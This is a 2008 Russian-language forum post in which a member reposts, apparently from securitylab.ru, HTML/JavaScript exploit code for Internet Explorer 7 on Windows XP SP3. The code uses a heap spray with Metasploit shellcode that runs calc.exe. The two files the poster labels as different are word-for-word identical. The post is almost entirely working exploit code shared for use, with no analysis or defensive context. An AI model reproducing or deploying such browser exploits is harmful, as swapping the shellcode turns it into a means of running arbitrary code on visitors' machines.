10.12.2008, 20:08
|
|
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199
Репутация:
21
|
|
<html>
<script>
// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456 %u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u 6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a 43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d %u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");
while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);
document.write("<iframe src=\"iframe.html\">");
</script>
</html>
первый файл
<html>
<script>
// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456 %u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u 6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a 43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d %u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0a0a%u0a0a");
var nops = unescape("%u9090%u9090%u9090");
while (block.length < 81920) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += (block + nops + shellcode);
document.write("<iframe src=\"iframe.html\">");
</script>
</html>
и второй.
скачал с www.securitylab.ru
|
|
|